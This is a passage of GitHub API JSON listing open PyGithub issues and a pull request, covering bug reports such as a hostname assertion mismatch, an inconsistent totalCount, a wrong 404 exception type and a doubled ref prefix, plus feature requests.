match","user":{"login":"doljae","id":37795866,"node_id":"MDQ6VXNlcjM3Nzk1ODY2","avatar_url":"https://avatars.githubusercontent.com/u/37795866?v=4","gravatar_id":"","url":"https://api.github.com/users/doljae","html_url":"https://github.com/doljae","followers_url":"https://api.github.com/users/doljae/followers","following_url":"https://api.github.com/users/doljae/following{/other_user}","gists_url":"https://api.github.com/users/doljae/gists{/gist_id}","starred_url":"https://api.github.com/users/doljae/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/doljae/subscriptions","organizations_url":"https://api.github.com/users/doljae/orgs","repos_url":"https://api.github.com/users/doljae/repos","events_url":"https://api.github.com/users/doljae/events{/privacy}","received_events_url":"https://api.github.com/users/doljae/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-16T03:31:07Z","updated_at":"2024-08-16T03:36:09Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":" # Description\r\n\r\nIn some cases, the URL in the Repository and the URL in the Requester may not match, and this causes an AssertionError.\r\n\r\n# Example\r\n\r\nWhen we initially create a `Github` object, it seems to create a `Requester` object internally to continue using it.\r\n\r\nThe `Repository` object is based on the response from the GitHub API, **which can cause mismatches between the hostname of the `Requester` and the hostname of the `Repository` object URL.**\r\n\r\nFor example, suppose you have two different GitHub hostnames\r\n\r\n- `a.github.com` -> Origin server\r\n- `b.github.com` -> Replica server (hostname created for other purposes, such as load balancing, and responds the same as the original server)\r\n\r\nIn this case, if we create a `GitHub` object with `b.github.com` as the base url, the `Requestor`'s hostname will be `b.github.com`. However, the hostname of the `Repository` will be `a.github.com`, which will cause the assertions in the code below to fail.\r\n\r\n```python\r\ng = Github(base_url=\"https://b.github.com/api/v3\", auth=auth) # Requester.hostname: b.github.com\r\nrepo = g.get_repo(\"hello/world\") # Repository url: a.github.com\r\npr = repo.get_pull(816) # AssertionError!\r\n```\r\n\r\nhttps://github.com/PyGithub/PyGithub/blob/23e8756397e9935e6a3307826de29c04cf853e94/github/Repository.py#L3074\r\nhttps://github.com/PyGithub/PyGithub/blob/23e8756397e9935e6a3307826de29c04cf853e94/github/Requester.py#L925\r\n\r\n\r\nIt seems like it would be simple to just fix this, but I may not be understanding this correctly and would like to start an issue to see what the maintainers think.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3019/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3018","id":2467120467,"node_id":"I_kwDOADYVqs6TDUVT","number":3018,"title":"Inconsistent `totalCount` in `PaginatedList` Before and After Iteration","user":{"login":"Xiaoven","id":55338943,"node_id":"MDQ6VXNlcjU1MzM4OTQz","avatar_url":"https://avatars.githubusercontent.com/u/55338943?v=4","gravatar_id":"","url":"https://api.github.com/users/Xiaoven","html_url":"https://github.com/Xiaoven","followers_url":"https://api.github.com/users/Xiaoven/followers","following_url":"https://api.github.com/users/Xiaoven/following{/other_user}","gists_url":"https://api.github.com/users/Xiaoven/gists{/gist_id}","starred_url":"https://api.github.com/users/Xiaoven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Xiaoven/subscriptions","organizations_url":"https://api.github.com/users/Xiaoven/orgs","repos_url":"https://api.github.com/users/Xiaoven/repos","events_url":"https://api.github.com/users/Xiaoven/events{/privacy}","received_events_url":"https://api.github.com/users/Xiaoven/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2024-08-15T01:26:41Z","updated_at":"2024-09-06T07:16:12Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"## Description\r\nI'm encountering an issue with the `totalCount` property in the `PaginatedList` class when using PyGithub to search code. **The behavior of `totalCount` is inconsistent depending on whether it is accessed before or after iterating over the `PaginatedList` object.** This design is confusing and leads to unexpected results.\r\n\r\nI used PyGithub to search for code and retrieve the `total_count` value from the response.\r\n\r\nLet's assume the query is `hello world\" which returns more than 1000 results.\r\n\r\nAfter reading the official documentation for the `PaginatedList `class:\r\n> If you want to know the total number of items in the list::\r\n> print(user.get_repos().totalCount)\r\n\r\nI wrote my code as below:\r\n```py\r\nresults = client.search_code(query)\r\ntotalCount = results.totalCount\r\nfor result in results:\r\n do_something(result)\r\n```\r\n\r\n### Observed Behavior\r\nI found that the totalCount value is capped at 1,000, instead of reflecting the `total_count` value from the API response.\r\n\r\nThrough debugging, I discovered that if `results.totalCount` is accessed **before** iterating over the `PaginatedList`, it triggers the `PaginatedList::totalCount` property, which initializes `totalCount` by setting `per_page` to 1 and calculates `totalCount` based on **the page number**. \r\n```py\r\n @property\r\n def totalCount(self) -> int:\r\n if not self.__totalCount:\r\n params = {} if self.__nextParams is None else self.__nextParams.copy()\r\n # set per_page = 1 so the totalCount is just the number of pages\r\n params.update({\"per_page\": 1})\r\n\r\n headers, data = self.__requester.requestJsonAndCheck(\r\n \"GET\", self.__firstUrl, parameters=params, headers=self.__headers\r\n )\r\n\r\n if \"link\" not in headers: \r\n # Under what conditions does this branch execute?\r\n # Likely when total_count is less than or equal to per_page (1 now), \r\n # meaning the first page is also the last page.\r\n if data and \"total_count\" in data:\r\n self.__totalCount = data[\"total_count\"]\r\n elif data:\r\n if isinstance(data, dict):\r\n data = data[self.__list_item]\r\n self.__totalCount = len(data)\r\n else:\r\n self.__totalCount = 0\r\n else:\r\n links = self.__parseLinkHeader(headers)\r\n lastUrl = links.get(\"last\")\r\n if lastUrl:\r\n self.__totalCount = int(parse_qs(lastUrl)[\"page\"][0])\r\n else:\r\n self.__totalCount = 0\r\n return self.__totalCount # type: ignore\r\n```\r\n\r\nThe value is correct when the `total_count` is smaller than 1000. However, when the `total_count` > 1000.\r\n\r\nTo retrieve the correct `total_count` value from the response, I must iterate over the results first, which invokes the `_getPage` method and updates totalCount with:\r\n```py\r\nself.__totalCount = data.get(\"total_count\")\r\n```\r\n\r\n### Expected Behavior\r\n`totalCount` should accurately reflect the `total_count` value from the response regardless of when it is accessed.\r\n\r\n## Suggestion\r\nI'm not sure if this is a bug or an intentional design choice (though it’s confusing, at least for me). I hope you can either fix it or update the documentation to provide a detailed explanation of this behavior. Clarifying this will help users understand the difference and ensure they retrieve the expected value of `totalCount`.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3018/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3016","id":2456749972,"node_id":"I_kwDOADYVqs6SbweU","number":3016,"title":"Github API commit comments endpoint don't work","user":{"login":"AutoScrape123TX","id":129413195,"node_id":"U_kgDOB7awSw","avatar_url":"https://avatars.githubusercontent.com/u/129413195?v=4","gravatar_id":"","url":"https://api.github.com/users/AutoScrape123TX","html_url":"https://github.com/AutoScrape123TX","followers_url":"https://api.github.com/users/AutoScrape123TX/followers","following_url":"https://api.github.com/users/AutoScrape123TX/following{/other_user}","gists_url":"https://api.github.com/users/AutoScrape123TX/gists{/gist_id}","starred_url":"https://api.github.com/users/AutoScrape123TX/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AutoScrape123TX/subscriptions","organizations_url":"https://api.github.com/users/AutoScrape123TX/orgs","repos_url":"https://api.github.com/users/AutoScrape123TX/repos","events_url":"https://api.github.com/users/AutoScrape123TX/events{/privacy}","received_events_url":"https://api.github.com/users/AutoScrape123TX/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-08T22:31:15Z","updated_at":"2024-08-08T22:31:15Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"Hello,\r\n\r\nI try to gather a commit's comment list for analysis.\r\nSeems GitHub API is broken. \r\n\r\nExample : \r\n\r\n[https://api.github.com/repos/vercel/next.js/commits/2aaa4263918427ee5164f12573e1dd719d365a1b](https://api.github.com/repos/vercel/next.js/commits/2aaa4263918427ee5164f12573e1dd719d365a1b)\r\n[https://api.github.com/repos/vercel/next.js/commits/2aaa4263918427ee5164f12573e1dd719d365a1b/comments](https://api.github.com/repos/vercel/next.js/commits/2aaa4263918427ee5164f12573e1dd719d365a1b/comments)\r\n\r\nWhile we see clearly there's comments on the commit present on GitHub... Check in conversation tab.\r\n\r\n[https://github.com/vercel/next.js/pull/33240/commits/2aaa4263918427ee5164f12573e1dd719d365a1b](https://github.com/vercel/next.js/pull/33240/commits/2aaa4263918427ee5164f12573e1dd719d365a1b)\r\n\r\n\r\nIf anyone has an idea or a workaround...\r\n\r\n**_With PyGithub it looks like :_** \r\n\r\n```\r\nfor commit in pull_request.get_commits():\r\n ....\r\n for commit_comment in commit.get_comments():\r\n ...\r\n```\r\n\r\n\r\n","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3016/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3015","id":2455847582,"node_id":"I_kwDOADYVqs6SYUKe","number":3015,"title":"Expose the /repos/{owner}/{repo}/codeowners/errors endpoint on repositories","user":{"login":"michaelhankin","id":9287361,"node_id":"MDQ6VXNlcjkyODczNjE=","avatar_url":"https://avatars.githubusercontent.com/u/9287361?v=4","gravatar_id":"","url":"https://api.github.com/users/michaelhankin","html_url":"https://github.com/michaelhankin","followers_url":"https://api.github.com/users/michaelhankin/followers","following_url":"https://api.github.com/users/michaelhankin/following{/other_user}","gists_url":"https://api.github.com/users/michaelhankin/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelhankin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelhankin/subscriptions","organizations_url":"https://api.github.com/users/michaelhankin/orgs","repos_url":"https://api.github.com/users/michaelhankin/repos","events_url":"https://api.github.com/users/michaelhankin/events{/privacy}","received_events_url":"https://api.github.com/users/michaelhankin/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-08-08T13:41:12Z","updated_at":"2024-08-08T13:41:12Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"Hey folks, I'm working on a project where it would be useful to have this endpoint exposed by PyGithub.\r\n\r\nSee https://docs.github.com/en/rest/repos/repos?apiVersion=2022-11-28#list-codeowners-errors.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3015/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3014","id":2453171259,"node_id":"I_kwDOADYVqs6SOGw7","number":3014,"title":"Repo.get_git_ref/create_git_ref inconsistent prefix","user":{"login":"huwcbjones","id":5251487,"node_id":"MDQ6VXNlcjUyNTE0ODc=","avatar_url":"https://avatars.githubusercontent.com/u/5251487?v=4","gravatar_id":"","url":"https://api.github.com/users/huwcbjones","html_url":"https://github.com/huwcbjones","followers_url":"https://api.github.com/users/huwcbjones/followers","following_url":"https://api.github.com/users/huwcbjones/following{/other_user}","gists_url":"https://api.github.com/users/huwcbjones/gists{/gist_id}","starred_url":"https://api.github.com/users/huwcbjones/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/huwcbjones/subscriptions","organizations_url":"https://api.github.com/users/huwcbjones/orgs","repos_url":"https://api.github.com/users/huwcbjones/repos","events_url":"https://api.github.com/users/huwcbjones/events{/privacy}","received_events_url":"https://api.github.com/users/huwcbjones/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":4,"created_at":"2024-08-07T10:45:59Z","updated_at":"2024-08-07T16:33:54Z","closed_at":null,"author_association":"CONTRIBUTOR","active_lock_reason":null,"body":"I've got a script that's creating a ref (branch) and replacing it if it already exists.\r\n\r\n```py\r\nbranch_ref = \"heads/my-ref\"\r\nwith suppress(GithubException):\r\n repo.get_git_ref(branch_ref).delete()\r\nref =repo.create_git_ref(branch_ref, commit.sha)\r\n``` \r\n\r\nBy specifying the ref without the `refs/` prefix, I get the following:\r\n```\r\nDEBUG:urllib3.connectionpool:https://api.github.com:443 \"GET /repos/$org/$repo/git/refs/heads/my-ref HTTP/1.1\" 200 None\r\nDEBUG:urllib3.connectionpool:https://api.github.com:443 \"DELETE /repos/$org/$repo/git/refs/heads/my-ref HTTP/1.1\" 204 0\r\nDEBUG:urllib3.connectionpool:https://api.github.com:443 \"POST /repos/$org/$repo/git/refs HTTP/1.1\" 422 147\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n ref = repo.create_git_ref(branch_ref, commit.sha)\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"/usr/lib/python3.11/site-packages/github/Repository.py\", line 1221, in create_git_ref\r\n headers, data = self._requester.requestJsonAndCheck(\"POST\", f\"{self.url}/git/refs\", input=post_parameters)\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"/usr/lib/python3.11/site-packages/github/Requester.py\", line 548, in requestJsonAndCheck\r\n return self.__check(*self.requestJson(verb, url, parameters, headers, input, self.__customConnection(url)))\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"/usr/lib/python3.11/site-packages/github/Requester.py\", line 609, in __check\r\n raise self.createException(status, responseHeaders, data)\r\ngithub.GithubException.GithubException: 422 {\"message\": \"Reference name must start with 'refs/'.\", \"documentation_url\": \"https://docs.github.com/rest/git/refs#create-a-reference\", \"status\": \"422\"}\r\n```\r\n\r\nIf I specifying with the `refs/` prefix, I get the following:\r\n```py\r\nbranch_ref = \"refs/heads/my-ref\"\r\nwith suppress(GithubException):\r\n repo.get_git_ref(branch_ref).delete()\r\nref =repo.create_git_ref(branch_ref, commit.sha)\r\n``` \r\n\r\n```\r\nDEBUG:urllib3.connectionpool:https://api.github.com:443 \"GET /repos/$org/$repo/git/refs/refs/heads/my-ref HTTP/1.1\" 404 None\r\nDEBUG:urllib3.connectionpool:https://api.github.com:443 \"POST /repos/$org/$repo/git/refs HTTP/1.1\" 201 493\r\n```\r\n\r\nNote the double `refs/refs` in the GET request to check if the ref already exists.\r\nI'm going to bodge around this, but it was wholy unexpected!","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3014/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3012","id":2445184074,"node_id":"I_kwDOADYVqs6RvoxK","number":3012,"title":"'raw' API calls","user":{"login":"raboof","id":131856,"node_id":"MDQ6VXNlcjEzMTg1Ng==","avatar_url":"https://avatars.githubusercontent.com/u/131856?v=4","gravatar_id":"","url":"https://api.github.com/users/raboof","html_url":"https://github.com/raboof","followers_url":"https://api.github.com/users/raboof/followers","following_url":"https://api.github.com/users/raboof/following{/other_user}","gists_url":"https://api.github.com/users/raboof/gists{/gist_id}","starred_url":"https://api.github.com/users/raboof/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/raboof/subscriptions","organizations_url":"https://api.github.com/users/raboof/orgs","repos_url":"https://api.github.com/users/raboof/repos","events_url":"https://api.github.com/users/raboof/events{/privacy}","received_events_url":"https://api.github.com/users/raboof/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2024-08-02T15:11:37Z","updated_at":"2024-08-06T05:23:19Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"When the part of the GitHub API you'd like to access is not yet supported by PyGithub, it would be nice to call those URI's 'directly' while still leveraging PyGithub's authorization etc infrastructure, perhaps even pagination. Of course this would just return the response as raw bytes or perhaps a `dict`.\r\n\r\nIs there anything like that in PyGithub right now that I missed, or if not, would this be acceptable as a contribution?","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3012/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3011","id":2436639751,"node_id":"I_kwDOADYVqs6RPCwH","number":3011,"title":"Wrong exception type raised when requesting non-existent branch.","user":{"login":"zhighleggett","id":84209544,"node_id":"MDQ6VXNlcjg0MjA5NTQ0","avatar_url":"https://avatars.githubusercontent.com/u/84209544?v=4","gravatar_id":"","url":"https://api.github.com/users/zhighleggett","html_url":"https://github.com/zhighleggett","followers_url":"https://api.github.com/users/zhighleggett/followers","following_url":"https://api.github.com/users/zhighleggett/following{/other_user}","gists_url":"https://api.github.com/users/zhighleggett/gists{/gist_id}","starred_url":"https://api.github.com/users/zhighleggett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zhighleggett/subscriptions","organizations_url":"https://api.github.com/users/zhighleggett/orgs","repos_url":"https://api.github.com/users/zhighleggett/repos","events_url":"https://api.github.com/users/zhighleggett/events{/privacy}","received_events_url":"https://api.github.com/users/zhighleggett/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2024-07-30T00:24:44Z","updated_at":"2024-07-31T18:49:01Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"If requesting a branch that does not exist, a generic `GithubException` is raised, however the proper exception to be raised is `UnknownObjectException`. Per the docstring:\r\n\r\n```\r\nclass UnknownObjectException(GithubException):\r\n \"\"\"\r\n Exception raised when a non-existing object is requested (when Github API replies with a 404 HTML status)\r\n \"\"\"\r\n```\r\n\r\nThe reason this happens is because the code that generates the exception based on the HTTP error code is not only looking at the status, but is also looking at the message it encapsulates. It only builds the `UnknownObjectException` if the message is \"not found\" but the 404 HTTP response when requesting an unknown branch has the message \"Branch not found\".\r\n```\r\n elif status == 404 and message == \"not found\":\r\n exc = GithubException.UnknownObjectException\r\n```\r\n\r\nIs there any reason that we are checking the contents of the message and not just the HTTP status code? If there is, would it at least be better to chang `message == \"not found\"` to `\"not found\" in message`?\r\n\r\nMinimal example:\r\n```\r\n>>> import github\r\n>>> gh = github.Github(\"ACCESS_TOKEN_REDACTED\")\r\n>>> org = gh.get_organization(\"ORG_NAME_REDACTED\")\r\n>>> repo = org.get_repo(\"REPO_NAME_REDACTED\")\r\n>>> branch = repo.get_branch(\"foo\")\r\nTraceback (most recent call last):\r\n File \"\", line 1, in \r\n File \"C:\\Users\\zhighleggett\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\site-packages\\github\\Repository.py\", line 2018, in get_branch\r\n headers, data = self._requester.requestJsonAndCheck(\"GET\", f\"{self.url}/branches/{branch}\")\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"C:\\Users\\zhighleggett\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\site-packages\\github\\Requester.py\", line 548, in requestJsonAndCheck\r\n return self.__check(*self.requestJson(verb, url, parameters, headers, input, self.__customConnection(url)))\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"C:\\Users\\zhighleggett\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\site-packages\\github\\Requester.py\", line 609, in __check\r\n raise self.createException(status, responseHeaders, data)\r\ngithub.GithubException.GithubException: 404 {\"message\": \"Branch not found\", \"documentation_url\": \"https://docs.github.com/rest/branches/branches#get-a-branch\", \"status\": \"404\"}\r\n```","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011/reactions","total_count":1,"+1":1,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3011/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3007","id":2433078892,"node_id":"I_kwDOADYVqs6RBdZs","number":3007,"title":"Why is my repo object's master_branch property None?","user":{"login":"zhighleggett","id":84209544,"node_id":"MDQ6VXNlcjg0MjA5NTQ0","avatar_url":"https://avatars.githubusercontent.com/u/84209544?v=4","gravatar_id":"","url":"https://api.github.com/users/zhighleggett","html_url":"https://github.com/zhighleggett","followers_url":"https://api.github.com/users/zhighleggett/followers","following_url":"https://api.github.com/users/zhighleggett/following{/other_user}","gists_url":"https://api.github.com/users/zhighleggett/gists{/gist_id}","starred_url":"https://api.github.com/users/zhighleggett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zhighleggett/subscriptions","organizations_url":"https://api.github.com/users/zhighleggett/orgs","repos_url":"https://api.github.com/users/zhighleggett/repos","events_url":"https://api.github.com/users/zhighleggett/events{/privacy}","received_events_url":"https://api.github.com/users/zhighleggett/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-07-26T22:56:22Z","updated_at":"2024-07-26T22:56:22Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"Hello,\r\n\r\nI'm trying to programatically get the name of the master branch of my repo. To do this I'm trying to access the `master_branch` property in `Repository` but even though the documentation says it should return a string, I get back None regardless of the repo I've checked.\r\n\r\nThe repos are all private work-related repos so I can't share the exact code here but basically what I'm doing is:\r\n\r\n```\r\n>>> import github\r\n>>> gh = github.Github(\"ACCESS_TOKEN_REDACTED\")\r\n>>> org = gh.get_organization(\"ORG_NAME_REDACTED\")\r\n>>> repo = org.get_repo(\"REPO_NAME_REDACTED\")\r\n>>> branch = repo.master_branch\r\n>>> branch is None\r\nTrue\r\n```\r\n\r\nDoes this suggest I've configured my repo incorrectly? Or am I misunderstanding how to properly use the library?\r\n\r\nThanks in advance. Please let me know what other information might be helpful for troubleshooting.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3007/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3006","id":2412525319,"node_id":"PR_kwDOADYVqs51lbYk","number":3006,"title":"Create GithubRetry.DEFAULT_* constants","user":{"login":"jodelasur","id":34933233,"node_id":"MDQ6VXNlcjM0OTMzMjMz","avatar_url":"https://avatars.githubusercontent.com/u/34933233?v=4","gravatar_id":"","url":"https://api.github.com/users/jodelasur","html_url":"https://github.com/jodelasur","followers_url":"https://api.github.com/users/jodelasur/followers","following_url":"https://api.github.com/users/jodelasur/following{/other_user}","gists_url":"https://api.github.com/users/jodelasur/gists{/gist_id}","starred_url":"https://api.github.com/users/jodelasur/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodelasur/subscriptions","organizations_url":"https://api.github.com/users/jodelasur/orgs","repos_url":"https://api.github.com/users/jodelasur/repos","events_url":"https://api.github.com/users/jodelasur/events{/privacy}","received_events_url":"https://api.github.com/users/jodelasur/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-07-17T03:01:06Z","updated_at":"2024-08-27T10:13:08Z","closed_at":null,"author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3006","html_url":"https://github.com/PyGithub/PyGithub/pull/3006","diff_url":"https://github.com/PyGithub/PyGithub/pull/3006.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3006.patch","merged_at":null},"body":"Resolves #2970.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3006/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003/events","html_url":"https://github.com/PyGithub/PyGithub/issues/3003","id":2410896250,"node_id":"I_kwDOADYVqs6Ps1t6","number":3003,"title":"node_id in IssueComment class","user":{"login":"arash77","id":2973722,"node_id":"MDQ6VXNlcjI5NzM3MjI=","avatar_url":"https://avatars.githubusercontent.com/u/2973722?v=4","gravatar_id":"","url":"https://api.github.com/users/arash77","html_url":"https://github.com/arash77","followers_url":"https://api.github.com/users/arash77/followers","following_url":"https://api.github.com/users/arash77/following{/other_user}","gists_url":"https://api.github.com/users/arash77/gists{/gist_id}","starred_url":"https://api.github.com/users/arash77/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arash77/subscriptions","organizations_url":"https://api.github.com/users/arash77/orgs","repos_url":"https://api.github.com/users/arash77/repos","events_url":"https://api.github.com/users/arash77/events{/privacy}","received_events_url":"https://api.github.com/users/arash77/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-07-16T11:24:29Z","updated_at":"2024-07-16T11:24:29Z","closed_at":null,"author_association":"CONTRIBUTOR","active_lock_reason":null,"body":"To call some GraphQL APIs for comments it is necessary to have the 